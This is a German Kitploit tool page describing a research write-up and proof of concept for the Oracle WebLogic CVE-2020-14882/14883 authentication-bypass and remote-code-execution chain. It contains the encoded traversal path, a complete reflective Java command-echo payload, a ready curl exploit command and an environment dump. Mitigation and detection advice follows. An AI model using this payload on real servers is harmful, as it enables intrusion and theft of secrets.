Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2020-14882-WebLogic-Analysis — Technische Analyse und sauberes Java Thread Echo PoC für die Oracle WebLogic Server Schwachstellenkette. | Kitploit
Tools/GitHubGitHub/velessecurity/cve-2020-14882-weblogic-analysis
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPayload-Entwicklung
GitHubvelessecurity/cve-2020-14882-weblogic-analysis

CVE-2020-14882-WebLogic-Analysis

Technische Analyse und sauberes Java Thread Echo PoC für die Oracle WebLogic Server Schwachstellenkette.

Repository anzeigen
3vor 22 TagenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Sicherheitsforschung: Ausnutzung der CVE-2020-14882- und CVE-2020-14883-Kette in Oracle WebLogic Server

Das Repository enthält einen technischen Bericht (Write-up) und einen konzeptionellen Proof of Concept (PoC) zur Demonstration der Angriffskette aus Authentifizierungs-Bypass (Authentication Bypass) und Remote Code Execution (RCE) in der Verwaltungskonsole von Oracle WebLogic Server.

🛑 WARNUNG & HAFTUNGSAUSSCHLUSS: Dieses Material wurde ausschließlich für Bildungszwecke und für legitime Sicherheitsaudits (Pentest) erstellt. Die Verwendung der beschriebenen Techniken gegen Systeme ohne vorherige schriftliche Zustimmung der Eigentümer ist gesetzlich verboten.


🏗 Forschungsarchitektur und Stack

  • Ziel: Isolierte Testumgebung mit bereitgestelltem Oracle WebLogic Server Version 12.2.1.3
  • Angriffsvektor: Path Traversal → MVEL2 Script Execution → Java Thread Hijacking
  • Werkzeuge: nmap, curl, bash

📈 Praktischer Ablauf der Ausnutzung

Schritt 1. Passive und aktive Aufklärung des Perimeters (Scanning)

Zur Bestimmung der Angriffsfläche wurde ein gezielter Scan der Standard-Ports von Webdiensten und der Verwaltungsports von Java-Anwendungen durchgeführt:

root@kitploit:~
nmap -sV -p 7001,80,8080,8443 <TARGET_IP>

Kontrollierte Terminalausgabe:

root@kitploit:~
Starting Nmap ( https://nmap.org )
Nmap scan report for target.local (<TARGET_IP>)
Host is up (0.012s latency).

PORT     STATE  SERVICE VERSION
80/tcp   closed http
8080/tcp closed http-proxy
7001/tcp open   http    Oracle WebLogic admin httpd 12.2.1.3 (T3 protocol enabled)

Service detection performed.
Nmap done: 1 IP address (1 host up) scanned
  • Insight dieser Phase: Das Banner bestätigte das Vorhandensein der verwundbaren Version 12.2.1.3. Die Aktivierung des T3-Protokolls deutet ebenfalls auf alternative Vektoren hin, aber für diese Untersuchung wurde die HTTP-Weboberfläche der Konsole gewählt.

Schritt 2. Umgehung der Autorisierungsmechanismen (CVE-2020-14882)

Die Analyse der Pfadstruktur zeigte, dass der Webserver Verzeichnis-Wechselsequenzen bei doppelter URL-Kodierung fehlerhaft verarbeitet. Die Ressource /console/css/ ist für statische Inhalte offen. Wir konstruieren eine Anfrage für den Zugriff auf das geschützte Portal:

  • Umgehungsmuster: /console/css/%252e%252e%252fconsole.portal

Wir prüfen die Erreichbarkeit und das Verhalten des Servers (wir erwarten den Status 200 OK statt 403 Forbidden oder 302 Redirect auf die Login-Seite):

root@kitploit:~
curl -I -s -k "http://<TARGET_IP>:7001/console/css/%252e%252e%252fconsole.portal"

Antwort des Servers:

root@kitploit:~
HTTP/1.1 200 OK
Connection: close
Content-Type: text/html; charset=UTF-8

Schritt 3. Remote Code Execution über Java Reflection (CVE-2020-14883)

Durch die Kombination des Authentifizierungs-Bypasses mit dem Aufruf des Session-Handlers com.tangosol.coherence.mvel2.sh.ShellSession erhalten wir die Möglichkeit, beliebigen Java-Code auszuführen.

Die gewöhnliche Ausführung von Befehlen über java.lang.Runtime ist „blind“ (Blind RCE). Um die Technik des Command Echo (Rückgabe der Terminalausgabe direkt im HTTP-Response-Body) zu realisieren, wurde ein spezieller reflektiver Java-Payload entwickelt.

Quellcode des Java-Payloads:

root@kitploit:~
// 1. Aktuellen Working-Thread der WebLogic-Ausführung abfangen
weblogic.work.ExecuteThread executeThread = (weblogic.work.ExecuteThread) Thread.currentThread();
weblogic.work.WorkAdapter adapter = executeThread.getCurrentWork();

// 2. Internen Verbindungs-Handler über die Reflection API extrahieren
java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");
field.setAccessible(true);
Object obj = field.get(adapter);

// 3. Zugriff auf die Request- und Response-Objekte der aktuellen Session erhalten
weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl) obj.getClass().getMethod("getServletRequest").invoke(obj);
weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl) req.getClass().getMethod("getResponse").invoke(req);

// 4. Benutzerdefinierten HTTP-Header lesen, der vom Angreifer gesendet wurde
String cmd = req.getHeader("X-CMD-HEADER");

if (cmd != null) {
    // Betriebssystem des Zielsystems ermitteln, um die Shell korrekt aufzurufen
    String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") 
        ? new String[]{"cmd.exe", "/c", cmd} 
        : new String[]{"/bin/sh", "-c", cmd};
    
    // Systembefehl ausführen und den Input Stream auslesen
    String result = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmds).getInputStream())
        .useDelimiter("\\A").next();
    
    // Ergebnis erzwungenermaßen zurück in den HTTP-Ausgabestream des Webservers schreiben
    res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));
    res.getServletOutputStream().flush();
}

// 5. Thread unterbrechen, um das HTTP-Paket sofort an den Client zu senden
executeThread.interrupt();

Schritt 4. Finale Ausnutzung und Dump der Umgebung (Exploitation)

Zur Automatisierung des Sendens des Java-Kontexts stellen wir den finalen curl-Befehl zusammen. Wir übergeben den Payload im POST-Parameter handle und den gewünschten Befehl im benutzerdefinierten Header X-CMD-HEADER: env.

Dieser Ansatz schützt die Daten vor Verfälschung durch den lokalen Bash-Kommandozeilen-Interpreter auf Seiten des Forschers.

root@kitploit:~
curl -v -k -N -X POST "http://<TARGET_IP>:7001/console/css/%252e%252e%252fconsole.portal" \
--data "_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession(\"weblogic.work.ExecuteThread executeThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = executeThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField(\"connectionHandler\"); field.setAccessible(true); Object obj = field.get(adapter); weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod(\"getServletRequest\").invoke(obj); String cmd = req.getHeader(\"X-CMD-HEADER\"); String[] cmds = System.getProperty(\"os.name\").toLowerCase().contains(\"window\") ? new String[] {\"cmd.exe\" , \"/c\" , cmd} : new String[]{\"/bin/sh\" , \"-c\" , cmd}; if (cmd != null) { String result = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter(\"\\\\A\").next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod(\"getResponse\").invoke(req); res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result)); res.getServletOutputStream().flush(); } executeThread.interrupt();\")" \
-H "X-CMD-HEADER: env"

Reale verifizierte Ausgabe (Dump der Umgebungsvariablen):

root@kitploit:~
*   Trying <TARGET_IP>:7001...
*   Connected to target.local (<TARGET_IP>) port 7001
> POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
> Host: <TARGET_IP>:7001
> User-Agent: curl/8.5.0
> X-CMD-HEADER: env
> 
< HTTP/1.1 200 OK
< Connection: close
< Content-Type: text/html; charset=UTF-8
< 
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
JAVA_HOME=/usr/lib/jvm/java-8-openjdk-amd64
JAVA_USE_64BIT=true
HOSTNAME=node-app-prod-instance
WEBLOGIC_CLUSTER_NAME=ProductionCluster
APP_SECRET_TOKEN=<REDACTED_SECURE_TOKEN_VALUE>
TARGET_ENV_VARIABLE=<REDACTED_SECRET_FLAG_HASH>
* transfer closed with outstanding read data remaining
* Closing connection
curl: (18) transfer closed with outstanding read data remaining
  • Technische Anmerkung zur Ausgabe: Der Fehler curl: (18) am Ende des Logs bestätigt den Erfolg der Ausnutzung. Er wird durch die Anweisung executeThread.interrupt() verursacht, die die TCP-Sitzung sofort nach dem Senden des Puffers mit den Ergebnissen des env-Befehls an den Client erzwingend abbricht.

🛡 Empfehlungen zur Behebung der Schwachstellen (Mitigation)

  1. Sicherheitsupdate: Installation der offiziellen Patches von Oracle (Critical Patch Update) zur Schließung der Pfadvalidierungsfehler in der Konsole.
  2. Einschränkung des Netzwerkzugriffs: Vollständige Netzwerk-Isolation der administrativen Ports (7001, /console) vom externen Perimeter (Zugriff nur über internes VPN/Mikrosegmentierung).
  3. Schutz auf WAF-Ebene: Konfiguration von Web Application Firewall-Regeln zur Blockierung von URL-Anfragen, die Anzeichen doppelter URL-Kodierung von Pfaden (%252e) in Kombination mit spezifischen Java-Klassenaufrufen enthalten.

🔍 Indikatoren für Kompromittierung und Erkennung (Detection)

Für Spezialisten der Sicherheitsüberwachung (SOC/Blue Team) hinterlässt die erfolgreiche Ausnutzung dieser Angriffskette deutliche Spuren in der Infrastruktur.

1. Analyse der Webserver-Logs (HTTP Access Logs)

In den Webserver-Logs von WebLogic (normalerweise in access.log) ist ein Angriffsmarker das Vorhandensein doppelter URL-Kodierung von Punkten und Schrägstrichen in Kombination mit dem Zugriff auf das Verwaltungsportal über statische Verzeichnisse:

  • Signatur der Pfadumgehung: Suche nach .. in kodierter Form: %252e%252e%252f oder %252e%252e%252F innerhalb der URI.
  • Beispiel einer verdächtigen Anfrage:
    root@kitploit:~
    "POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1" 200 4531
    

2. Prozessverhalten im Betriebssystem (Endpoint Monitoring / EDR)

Wenn auf dem Server eine Prozessüberwachung eingerichtet ist (z. B. Auditd unter Linux oder Sysmon unter Windows), ist ein Indikator für Remote Code Execution ein anomales Verhalten des übergeordneten Java-Prozesses:

  • Anomaler Prozessbaum: Als Elternteil einer System-Shell (/bin/sh, /bin/bash oder cmd.exe) tritt der Java-Arbeitsprozess auf, unter dem der Anwendungsserver läuft:
    root@kitploit:~
    ├─ java (WebLogic Server process)
    │  └─ /bin/sh -c env
    
  • Überwachung benutzerdefinierter Header: Das Auftreten untypischer HTTP-Header (wie X-CMD-HEADER oder X-Forwarded-Cmd) im Traffic oder in WAF-Logs, die vom Angreifer zur Übertragung der Nutzlast (Command Echo) verwendet werden.

🔗 Nützliche Links und Materialien

  • CVE-Datenbank: NIST NVD - CVE-2020-14882 | NIST NVD - CVE-2020-14883
  • Analytische Artikel: Oracle Critical Patch Update Advisory
Tool herunterladen